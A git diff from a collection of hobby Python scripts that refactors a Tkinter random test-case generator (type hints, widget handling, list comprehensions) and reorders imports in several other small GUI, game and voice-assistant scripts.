- self.done_button.grid_forget()
- self.y_scroll.grid_forget()
- self.x_scroll.grid_forget()
- self.button_exit_output.grid_forget()
- try:
+ def try_forget(self) -> None:
+ if self.output:
+ self.output.grid_forget()
+ if self.copy_button:
+ self.copy_button.grid_forget()
+ if self.generate_button:
+ self.generate_button.grid_forget()
+ if self.change_values_button:
+ self.change_values_button.grid_forget()
+ if self.done_button:
+ self.done_button.grid_forget()
+ if self.y_scroll:
+ self.y_scroll.grid_forget()
+ if self.x_scroll:
+ self.x_scroll.grid_forget()
+ if self.button_exit_output:
+ self.button_exit_output.grid_forget()
+ if self.constraints:
self.constraints.grid_forget()
- except AttributeError:
- pass
- def get_t(self, r):
+ def get_t(self, r: int) -> None:
self.test_case_count_label = Label(
- gui, text="T = ", font=("calibre", 10, "bold"), width=17
- ) # Type 1
+ self.master, text="T = ", font=("calibre", 10, "bold"), width=17
+ )
self.test_case_count = Entry(
- gui, textvariable=t, font=("calibre", 10, "normal")
+ self.master, textvariable=t, font=("calibre", 10, "normal")
)
- self.test_case_count_label.grid(row=r, column=0, pady=20, ipady=1) # Type 1
+ self.test_case_count_label.grid(row=r, column=0, pady=20, ipady=1)
self.test_case_count.grid(row=r, column=1)
- def get_n(self, r):
+ def get_n(self, r: int) -> None:
self.minimum_value_of_n = Entry(
- gui, textvariable=n_min, font=("calibre", 10, "normal")
+ self.master, textvariable=n_min, font=("calibre", 10, "normal")
)
self.min_max_values_of_n_label = Label(
- gui, text=" <= n <=", font=("calibre", 10, "bold")
+ self.master, text=" <= n <=", font=("calibre", 10, "bold")
)
self.maximum_value_of_n = Entry(
- gui, textvariable=n_max, font=("calibre", 10, "normal")
+ self.master, textvariable=n_max, font=("calibre", 10, "normal")
)
self.minimum_value_of_n.grid(row=r, column=0, padx=10, pady=10)
self.min_max_values_of_n_label.grid(row=r, column=1, ipadx=5, ipady=1)
self.maximum_value_of_n.grid(row=r, column=2, padx=(10, 10))
- def get_m(self, r):
+ def get_m(self, r: int) -> None:
self.minimum_value_of_m = Entry(
- gui, textvariable=m_min, font=("calibre", 10, "normal")
+ self.master, textvariable=m_min, font=("calibre", 10, "normal")
)
self.min_max_values_of_m_label = Label(
- gui, text="<= m <=", font=("calibre", 10, "bold")
+ self.master, text="<= m <=", font=("calibre", 10, "bold")
)
self.maximum_value_of_m = Entry(
- gui, textvariable=m_max, font=("calibre", 10, "normal")
+ self.master, textvariable=m_max, font=("calibre", 10, "normal")
)
self.minimum_value_of_m.grid(row=r, column=0, padx=10, pady=10)
self.min_max_values_of_m_label.grid(row=r, column=1, padx=10, ipadx=5, ipady=1)
self.maximum_value_of_m.grid(row=r, column=2, padx=10)
- def get_k(self, r):
+ def get_k(self, r: int) -> None:
self.minimum_value_of_k = Entry(
- gui, textvariable=k_min, font=("calibre", 10, "normal")
+ self.master, textvariable=k_min, font=("calibre", 10, "normal")
)
self.min_max_values_of_k_label = Label(
- gui, text=" <= k <=", font=("calibre", 10, "bold")
+ self.master, text=" <= k <=", font=("calibre", 10, "bold")
)
self.maximum_value_of_k = Entry(
- gui, textvariable=k_max, font=("calibre", 10, "normal")
+ self.master, textvariable=k_max, font=("calibre", 10, "normal")
)
self.minimum_value_of_k.grid(row=r, column=0, pady=10)
self.min_max_values_of_k_label.grid(row=r, column=1)
self.maximum_value_of_k.grid(row=r, column=2)
- def get_a(self, r):
+ def get_a(self, r: int) -> None:
self.minimum_value_of_ai = Entry(
- gui, textvariable=a_min, font=("calibre", 10, "normal")
+ self.master, textvariable=a_min, font=("calibre", 10, "normal")
)
self.min_max_values_of_ai_label = Label(
- gui, text=" <= Ai <=", font=("calibre", 10, "bold")
+ self.master, text=" <= Ai <=", font=("calibre", 10, "bold")
)
self.maximum_value_of_ai = Entry(
- gui, textvariable=a_max, font=("calibre", 10, "normal")
+ self.master, textvariable=a_max, font=("calibre", 10, "normal")
)
self.minimum_value_of_ai.grid(row=r, column=0, padx=10, pady=10)
self.min_max_values_of_ai_label.grid(row=r, column=1, ipadx=2, ipady=1)
self.maximum_value_of_ai.grid(row=r, column=2)
- def get_b(self, r):
+ def get_b(self, r: int) -> None:
self.minimum_value_of_bi = Entry(
- gui, textvariable=b_min, font=("calibre", 10, "normal")
+ self.master, textvariable=b_min, font=("calibre", 10, "normal")
)
self.min_max_values_of_bi_label = Label(
- gui, text=" <= Bi <= ", font=("calibre", 10, "bold")
+ self.master, text=" <= Bi <= ", font=("calibre", 10, "bold")
)
self.maximum_value_of_bi = Entry(
- gui, textvariable=b_max, font=("calibre", 10, "normal")
+ self.master, textvariable=b_max, font=("calibre", 10, "normal")
)
self.minimum_value_of_bi.grid(row=r, column=0, pady=10)
self.min_max_values_of_bi_label.grid(row=r, column=1, padx=10)
self.maximum_value_of_bi.grid(row=r, column=2, padx=10)
- def get_char_list(self, r):
+ def get_char_list(self, r: int) -> None:
self.char_list_label = Label(
- gui, text=" Characters : ", font=("calibre", 10, "bold"), width=17
+ self.master, text=" Characters : ", font=("calibre", 10, "bold"), width=17
)
self.char_list = Entry(
- gui, textvariable=char_lis, font=("calibre", 10, "normal"), width=43
+ self.master, textvariable=char_lis, font=("calibre", 10, "normal"), width=43
)
self.char_list.insert(END, "(Space separated characters)")
self.char_list.bind("", lambda args: self.char_list.delete("0", "end"))
self.char_list_label.grid(row=r, column=0, pady=10)
self.char_list.grid(row=r, column=1, columnspan=2, padx=10)
- def show_button(self, r):
+ def show_button(self, r: int) -> None:
self.back_btn = Button(
- gui,
+ self.master,
text=" HOME ",
command=lambda: self.forget_testcase_take_input_screen(1),
font="calibre",
bd=3,
)
self.sub_btn = Button(
- gui, text=" GENERATE ", command=self.submit, font="calibre", bd=3
+ self.master, text=" GENERATE ", command=self.submit, font="calibre", bd=3
)
self.exit_btn = Button(
- gui, text=" EXIT ", command=lambda: gui.destroy(), font="calibre", bd=3
+ self.master,
+ text=" EXIT ",
+ command=self.master.destroy,
+ font="calibre",
+ bd=3,
)
self.back_btn.grid(row=r, column=0, pady=(20, 20), ipady=1)
self.sub_btn.grid(row=r, column=1, pady=(20, 20), ipady=1)
self.exit_btn.grid(row=r, column=2, pady=(20, 20), ipady=1)
self.copyright_label.place(relx=0.9, y=0)
- def submit(self):
+ def submit(self) -> None:
try:
self.t = int(self.test_case_count.get())
if self.t == 0 or self.t > 10000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
- self.n_min = min(
- int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get())
- )
- self.n_max = max(
- int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get())
- )
+ n1 = int(self.minimum_value_of_n.get())
+ n2 = int(self.maximum_value_of_n.get())
+ self.n_min = min(n1, n2)
+ self.n_max = max(n1, n2)
if self.n_min > self.n_max or self.n_max == 0 or self.n_max > 10000000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
- self.m_min = min(
- int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get())
- )
- self.m_max = max(
- int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get())
- )
+ m1 = int(self.minimum_value_of_m.get())
+ m2 = int(self.maximum_value_of_m.get())
+ self.m_min = min(m1, m2)
+ self.m_max = max(m1, m2)
if self.m_min > self.m_max or self.m_max == 0 or self.m_max > 10000000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
- self.k_min = min(
- int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get())
- )
- self.k_max = max(
- int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get())
- )
+ k1 = int(self.minimum_value_of_k.get())
+ k2 = int(self.maximum_value_of_k.get())
+ self.k_min = min(k1, k2)
+ self.k_max = max(k1, k2)
if self.k_min > self.k_max or self.k_max == 0 or self.k_max > 10000000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
- self.a_min = min(
- int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get())
- )
- self.a_max = max(
- int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get())
- )
+ a1 = int(self.minimum_value_of_ai.get())
+ a2 = int(self.maximum_value_of_ai.get())
+ self.a_min = min(a1, a2)
+ self.a_max = max(a1, a2)
if self.a_min > self.a_max or self.a_max == 0 or self.a_max > 10000000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
- self.b_min = min(
- int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get())
- )
- self.b_max = max(
- int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get())
- )
+ b1 = int(self.minimum_value_of_bi.get())
+ b2 = int(self.maximum_value_of_bi.get())
+ self.b_min = min(b1, b2)
+ self.b_max = max(b1, b2)
if self.b_min > self.b_max or self.b_max == 0 or self.b_max > 10000000:
return
- except ValueError:
- return
- except AttributeError:
+ except ValueError, AttributeError:
pass
try:
self.char_lis = list(self.char_list.get().split())
- if self.char_lis[0] == "(Space":
+ if not self.char_lis or self.char_lis[0] == "(Space":
return
- except IndexError:
+ except IndexError, ValueError, AttributeError:
+ pass
+
+ # additional sanity checks
+ if (
+ hasattr(self, "t")
+ and hasattr(self, "n_max")
+ and self.t * self.n_max > 10000000
+ ):
return
- except ValueError:
+ if (
+ hasattr(self, "m_max")
+ and hasattr(self, "n_max")
+ and self.m_max * self.n_max > 10000000
+ ):
+ return
+ if (
+ hasattr(self, "t")
+ and hasattr(self, "m_max")
+ and self.t * self.m_max > 10000000
+ ):
return
- except AttributeError:
- pass
- try:
- if self.t * self.n_max > 10000000:
- return
- except AttributeError:
- pass
- try:
- if self.m_max * self.n_max > 10000000:
- return
- except AttributeError:
- pass
- try:
- if self.t * self.m_max > 10000000:
- return
- except AttributeError:
- pass
- finally:
- self.forget_testcase_take_input_screen()
- self.display()
- self.generate()
- def forget_testcase_take_input_screen(self, check=0):
- try:
- self.test_case_count_label.grid_forget()
- self.test_case_count.grid_forget()
- except AttributeError:
- pass
- try:
- self.minimum_value_of_n.grid_forget()
- self.min_max_values_of_n_label.grid_forget()
- self.maximum_value_of_n.grid_forget()
- except AttributeError:
- pass
- try:
- self.minimum_value_of_ai.grid_forget()
- self.min_max_values_of_ai_label.grid_forget()
- self.maximum_value_of_ai.grid_forget()
- except AttributeError:
- pass
- try:
- self.minimum_value_of_bi.grid_forget()
- self.min_max_values_of_bi_label.grid_forget()
- self.maximum_value_of_bi.grid_forget()
- except AttributeError:
- pass
- try:
- self.minimum_value_of_m.grid_forget()
- self.min_max_values_of_m_label.grid_forget()
- self.maximum_value_of_m.grid_forget()
- except AttributeError:
- pass
- try:
- self.minimum_value_of_k.grid_forget()
- self.min_max_values_of_k_label.grid_forget()
- self.maximum_value_of_k.grid_forget()
- except AttributeError:
- pass
- try:
- self.char_list_label.grid_forget()
- self.char_list.delete("0", "end")
- self.char_list.grid_forget()
- except AttributeError:
- pass
- try:
- self.constraints.grid_forget()
- except AttributeError:
- pass
- finally:
- self.sub_btn.grid_forget()
- self.back_btn.grid_forget()
- self.exit_btn.grid_forget()
+ self.forget_testcase_take_input_screen()
+ self.display()
+ self.generate()
+
+ def forget_testcase_take_input_screen(self, check: int = 0) -> None:
+ # try to forget all possible widgets
+ for widget_name in (
+ "test_case_count_label",
+ "test_case_count",
+ "minimum_value_of_n",
+ "min_max_values_of_n_label",
+ "maximum_value_of_n",
+ "minimum_value_of_ai",
+ "min_max_values_of_ai_label",
+ "maximum_value_of_ai",
+ "minimum_value_of_bi",
+ "min_max_values_of_bi_label",
+ "maximum_value_of_bi",
+ "minimum_value_of_m",
+ "min_max_values_of_m_label",
+ "maximum_value_of_m",
+ "minimum_value_of_k",
+ "min_max_values_of_k_label",
+ "maximum_value_of_k",
+ "char_list_label",
+ "char_list",
+ "constraints",
+ ):
+ widget = getattr(self, widget_name, None)
+ if widget:
+ try:
+ widget.grid_forget()
+ except:
+ pass
+ # clear char_list if exists
+ if self.char_list:
+ try:
+ self.char_list.delete("0", "end")
+ except:
+ pass
+ # forget buttons
+ for btn in ("sub_btn", "back_btn", "exit_btn"):
+ widget = getattr(self, btn, None)
+ if widget:
+ try:
+ widget.grid_forget()
+ except:
+ pass
if check:
self.retrieve_home()
+ # Placeholder for generate method – will be overridden in subclasses
+ def generate(self) -> None:
+ pass
+
+ # Placeholder for take_input – will be overridden
+ def take_input(self) -> None:
+ pass
+
+# ---------- Type1 to Type10 ----------
class Type1(Case):
- def __init__(self, master):
- super(Type1, self).__init__(master) # Type 1
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self):
- try:
- self.try_forget() # Type 1
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_a(2)
self.show_button(3)
- def generate(self): # Type 1
+ def generate(self) -> None:
self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ self.output.insert(END, n)
self.output.insert(END, "\n")
- self.a = [0] * self.n
- for j in range(self.n):
- self.a[j] = randint(self.a_min, self.a_max)
- self.output.insert(END, self.a)
+ arr = [randint(self.a_min, self.a_max) for _ in range(n)]
+ self.output.insert(END, arr)
self.output.insert(END, "\n")
-class Type2(Case): # Type 2
- def __init__(self, master):
- super(Type2, self).__init__(master)
+class Type2(Case):
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 2
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_m(2)
self.get_a(3)
self.show_button(4)
- def generate(self): # Type 2
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.m = randint(self.m_min, self.m_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ m = randint(self.m_min, self.m_max)
+ self.output.insert(END, n)
self.output.insert(END, " ")
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, "\n")
- self.a = [0] * self.n
- for j in range(self.n):
- self.a[j] = randint(self.a_min, self.a_max)
- self.output.insert(END, self.a)
+ arr = [randint(self.a_min, self.a_max) for _ in range(n)]
+ self.output.insert(END, arr)
self.output.insert(END, "\n")
class Type3(Case):
- def __init__(self, master):
- super(Type3, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 3
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_a(1)
self.get_b(2)
self.show_button(3)
- def generate(self): # Type 3
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.a = randint(self.a_min, self.a_max)
- self.b = randint(self.b_min, self.b_max)
- self.output.insert(END, self.a)
+ for _ in range(self.t):
+ a = randint(self.a_min, self.a_max)
+ b = randint(self.b_min, self.b_max)
+ self.output.insert(END, a)
self.output.insert(END, " ")
- self.output.insert(END, self.b)
+ self.output.insert(END, b)
self.output.insert(END, "\n")
class Type4(Case):
- def __init__(self, master):
- super(Type4, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 4
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_m(2)
@@ -701,82 +718,67 @@ def take_input(self): # Type 4
self.get_b(4)
self.show_button(5)
- def generate(self): # Type 4
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.m = randint(self.m_min, self.m_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ m = randint(self.m_min, self.m_max)
+ self.output.insert(END, n)
self.output.insert(END, " ")
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, "\n")
- self.a = [0] * self.n
- self.b = [0] * self.m
- for j in range(self.n):
- self.a[j] = randint(self.a_min, self.a_max)
- self.output.insert(END, self.a)
+ arr_a = [randint(self.a_min, self.a_max) for _ in range(n)]
+ arr_b = [randint(self.b_min, self.b_max) for _ in range(m)]
+ self.output.insert(END, arr_a)
self.output.insert(END, "\n")
- for j in range(self.m):
- self.b[j] = randint(self.b_min, self.b_max)
- self.output.insert(END, self.b)
+ self.output.insert(END, arr_b)
self.output.insert(END, "\n")
-# ------------------------------------------------- ###
-# ------------------------------------------------- ###
-# ### Developed by TANMAY KHANDELWAL (aka Dude901). ###
-# _________________________________________________ ###
-# _________________________________________________ ###
-
-
class Type5(Case):
- def __init__(self, master):
- super(Type5, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 5
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_m(2)
self.get_k(3)
self.show_button(4)
- def generate(self): # Type 5
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.m = randint(self.m_min, self.m_max)
- self.k = randint(self.k_min, self.k_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ m = randint(self.m_min, self.m_max)
+ k = randint(self.k_min, self.k_max)
+ self.output.insert(END, n)
self.output.insert(END, " ")
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, " ")
- self.output.insert(END, self.k)
+ self.output.insert(END, k)
self.output.insert(END, "\n")
class Type6(Case):
- def __init__(self, master): # Type 6
- super(Type6, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 6
- try:
- self.try_forget()
- except AttributeError:
- pass # Type 6
+ def take_input(self) -> None:
+ self.try_forget()
self.constraints = Label(
- gui,
+ self.master,
text="Enter Constraints",
fg="white",
height=1,
@@ -789,62 +791,56 @@ def take_input(self): # Type 6
self.get_a(3)
self.show_button(4)
- def generate(self): # Type 6
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
- self.n = randint(self.n_min, self.n_max)
- self.m = randint(self.m_min, self.m_max)
- self.output.insert(END, self.n)
+ n = randint(self.n_min, self.n_max)
+ m = randint(self.m_min, self.m_max)
+ self.output.insert(END, n)
self.output.insert(END, " ")
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, "\n")
- for i in range(self.n):
- self.a = [0] * self.m
- for j in range(self.m):
- self.a[j] = randint(self.a_min, self.a_max)
- self.output.insert(END, self.a)
+ for _ in range(n):
+ row = [randint(self.a_min, self.a_max) for _ in range(m)]
+ self.output.insert(END, row)
self.output.insert(END, "\n")
class Type7(Case):
- def __init__(self, master): # Type 7
- super(Type7, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 7
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_char_list(1)
self.get_n(2)
self.show_button(3)
- def generate(self): # Type 7
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ self.output.insert(END, n)
self.output.insert(END, "\n")
- self.a = choices(self.char_lis, k=self.n)
- self.output.insert(END, "".join(self.a))
+ s = "".join(choices(self.char_lis, k=n))
+ self.output.insert(END, s)
self.output.insert(END, "\n")
class Type8(Case):
- def __init__(self, master): # Type 8
- super(Type8, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self):
- try: # Type 8
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_m(2)
@@ -852,64 +848,60 @@ def take_input(self):
self.get_b(4)
self.show_button(5)
- def generate(self): # Type 8
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.m = randint(self.m_min, self.m_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ m = randint(self.m_min, self.m_max)
+ self.output.insert(END, n)
self.output.insert(END, " ")
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, "\n")
- for j in range(self.m):
- self.a = randint(self.a_min, self.a_max)
- self.b = randint(self.b_min, self.b_max)
- self.output.insert(END, self.a)
+ for _ in range(m):
+ a = randint(self.a_min, self.a_max)
+ b = randint(self.b_min, self.b_max)
+ self.output.insert(END, a)
self.output.insert(END, " ")
- self.output.insert(END, self.b)
+ self.output.insert(END, b)
self.output.insert(END, "\n")
class Type9(Case):
- def __init__(self, master):
- super(Type9, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 9
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_char_list(1)
self.get_n(2)
self.show_button(3)
- def generate(self): # Type 9
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.a = choices(self.char_lis, k=self.n)
- self.output.insert(END, "".join(self.a))
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ s = "".join(choices(self.char_lis, k=n))
+ self.output.insert(END, s)
self.output.insert(END, "\n")
class Type10(Case):
- def __init__(self, master):
- super(Type10, self).__init__(master)
+ def __init__(self, master: Tk) -> None:
+ super().__init__(master)
self.forget_home()
self.take_input()
- def take_input(self): # Type 10
- try:
- self.try_forget()
- except AttributeError:
- pass
+ def take_input(self) -> None:
+ self.try_forget()
self.get_t(0)
self.get_n(1)
self.get_k(2)
@@ -917,31 +909,30 @@ def take_input(self): # Type 10
self.get_a(4)
self.show_button(5)
- def generate(self): # Type 10
+ def generate(self) -> None:
+ self.forget_testcase_take_input_screen()
self.output.delete("1.0", END)
self.output.insert(END, self.t)
self.output.insert(END, "\n")
- for i in range(self.t):
- self.n = randint(self.n_min, self.n_max)
- self.k = randint(self.k_min, self.k_max)
- self.m = randint(self.m_min, self.m_max)
- self.output.insert(END, self.n)
+ for _ in range(self.t):
+ n = randint(self.n_min, self.n_max)
+ k = randint(self.k_min, self.k_max)
+ m = randint(self.m_min, self.m_max)
+ self.output.insert(END, n)
+ self.output.insert(END, " ")
+ self.output.insert(END, k)
self.output.insert(END, " ")
- self.output.insert(END, self.k)
- self.output.insert(END, " ") # Type 10
- self.output.insert(END, self.m)
+ self.output.insert(END, m)
self.output.insert(END, "\n")
- self.a = [0] * self.n
- for j in range(self.n):
- self.a[j] = randint(self.a_min, self.a_max)
- self.output.insert(END, self.a)
+ arr = [randint(self.a_min, self.a_max) for _ in range(n)]
+ self.output.insert(END, arr)
self.output.insert(END, "\n")
if __name__ == "__main__":
- gui = Tk()
- gui.title("TEST CASE GENERATOR")
- gui.configure(bg=mycolor)
+ root = Tk()
+ root.title("TEST CASE GENERATOR")
+ root.configure(bg=mycolor)
if os.environ.get("DISPLAY", "") == "":
print("no display found, using:0,0")
@@ -962,13 +953,7 @@ def generate(self): # Type 10
b_max = IntVar()
char_lis = StringVar()
- Case.home(self=Case)
-
- gui.mainloop()
- gui.mainloop()
+ case = Case(root)
+ case.home()
- # ------------------------------------------------- ###
- # ------------------------------------------------- ###
- # ### Developed by TANMAY KHANDELWAL (aka Dude901). ###
- # _________________________________________________ ###
- # _________________________________________________ ###
+ root.mainloop()
diff --git a/ThirdAI/Terms and Conditions/ThirdAI.py b/ThirdAI/Terms and Conditions/ThirdAI.py
index 046b6998c9a..09443da8b33 100644
--- a/ThirdAI/Terms and Conditions/ThirdAI.py
+++ b/ThirdAI/Terms and Conditions/ThirdAI.py
@@ -1,4 +1,5 @@
-from thirdai import licensing, neural_db as ndb
+from thirdai import licensing
+from thirdai import neural_db as ndb
class NeuralDBClient:
diff --git a/ThirdAI/Terms and Conditions/TkinterUI.py b/ThirdAI/Terms and Conditions/TkinterUI.py
index dd7d0172e74..a22d18d5cd9 100644
--- a/ThirdAI/Terms and Conditions/TkinterUI.py
+++ b/ThirdAI/Terms and Conditions/TkinterUI.py
@@ -1,7 +1,7 @@
import tkinter as tk
+from tkinter import filedialog, messagebox
from tkinter.font import Font
-from tkinter import messagebox
-from tkinter import filedialog
+
from ThirdAI import NeuralDBClient as Ndb
diff --git a/Tic-Tac-Toe Games/tic-tac-toe3.py b/Tic-Tac-Toe Games/tic-tac-toe3.py
index 92c60d494e6..ee5ac69be3d 100644
--- a/Tic-Tac-Toe Games/tic-tac-toe3.py
+++ b/Tic-Tac-Toe Games/tic-tac-toe3.py
@@ -11,9 +11,10 @@
False
"""
+from tkinter import messagebox
from typing import List, Optional, Tuple
+
import customtkinter as ctk
-from tkinter import messagebox
Board = List[List[str]]
diff --git a/Tic-Tac-Toe Games/tic-tac-toe4.py b/Tic-Tac-Toe Games/tic-tac-toe4.py
index 0b182ff6dcb..a543885b3ab 100644
--- a/Tic-Tac-Toe Games/tic-tac-toe4.py
+++ b/Tic-Tac-Toe Games/tic-tac-toe4.py
@@ -22,11 +22,12 @@
-1
"""
-import numpy as np
import random
from time import sleep
from typing import List, Tuple
+import numpy as np
+
def create_board() -> np.ndarray:
"""Return an empty 3x3 Tic-Tac-Toe board."""
diff --git a/Tic-Tac-Toe Games/tic-tac-toe6.py b/Tic-Tac-Toe Games/tic-tac-toe6.py
index 294f6fa0a17..599298b4fab 100644
--- a/Tic-Tac-Toe Games/tic-tac-toe6.py
+++ b/Tic-Tac-Toe Games/tic-tac-toe6.py
@@ -16,7 +16,7 @@
True
"""
-from typing import List, Dict
+from typing import Dict, List
def print_tic_tac_toe(values: List[str]) -> None:
diff --git a/Todo_GUi.py b/Todo_GUi.py
index 6590346c7ee..a065dec99af 100644
--- a/Todo_GUi.py
+++ b/Todo_GUi.py
@@ -1,5 +1,5 @@
-from tkinter import messagebox
import tkinter as tk
+from tkinter import messagebox
# Function to be called when button is clicked
diff --git a/Translator/translator.py b/Translator/translator.py
index 2987c91af74..3079b61e910 100644
--- a/Translator/translator.py
+++ b/Translator/translator.py
@@ -1,4 +1,5 @@
from tkinter import *
+
from translate import Translator
diff --git a/Tweet Pre-Processing.py b/Tweet Pre-Processing.py
index 458e04c4e41..bd84a8aa7ec 100644
--- a/Tweet Pre-Processing.py
+++ b/Tweet Pre-Processing.py
@@ -4,9 +4,9 @@
# In[10]:
-from nltk.corpus import twitter_samples
import random
+from nltk.corpus import twitter_samples
# In[ ]:
@@ -58,7 +58,6 @@
from nltk.stem import PorterStemmer
from nltk.tokenize import TweetTokenizer
-
# In[20]:
diff --git a/Voice Command Calculator.py b/Voice Command Calculator.py
index 8c220092a38..c453e1ddf8d 100644
--- a/Voice Command Calculator.py
+++ b/Voice Command Calculator.py
@@ -1,4 +1,5 @@
import operator
+
import speech_recognition as s_r
print("Your speech_recognition version is: " + s_r.__version__)
diff --git a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py
index 3aa291c82b4..6e0c4bf04a1 100644
--- a/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py
+++ b/VoiceAssistant/Project_Basic_struct/VoiceAssistant_main.py
@@ -1,10 +1,11 @@
-from speakListen import *
-from websiteWork import *
-from textRead import *
from dictator import *
from menu import *
-from speechtotext import *
+from speakListen import *
+from textRead import *
from TextTospeech import *
+from websiteWork import *
+
+from speechtotext import *
def main():
diff --git a/VoiceAssistant/Project_Basic_struct/dictator.py b/VoiceAssistant/Project_Basic_struct/dictator.py
index 5b2d85ed918..a99f5125b6e 100644
--- a/VoiceAssistant/Project_Basic_struct/dictator.py
+++ b/VoiceAssistant/Project_Basic_struct/dictator.py
@@ -1,8 +1,7 @@
# from speakListen import hear
# from speakListen import long_hear
-from speakListen import *
-
from colorama import Fore
+from speakListen import *
def big_text():
diff --git a/VoiceAssistant/Project_Basic_struct/speakListen.py b/VoiceAssistant/Project_Basic_struct/speakListen.py
index a28f67c2218..c913f0ad1bf 100644
--- a/VoiceAssistant/Project_Basic_struct/speakListen.py
+++ b/VoiceAssistant/Project_Basic_struct/speakListen.py
@@ -1,11 +1,11 @@
+import datetime
import time
-from colorama import Fore
-import speech_recognition as sr
+
import pyttsx3
-import datetime
+import speech_recognition as sr
+from colorama import Fore
from rich.progress import Progress
-
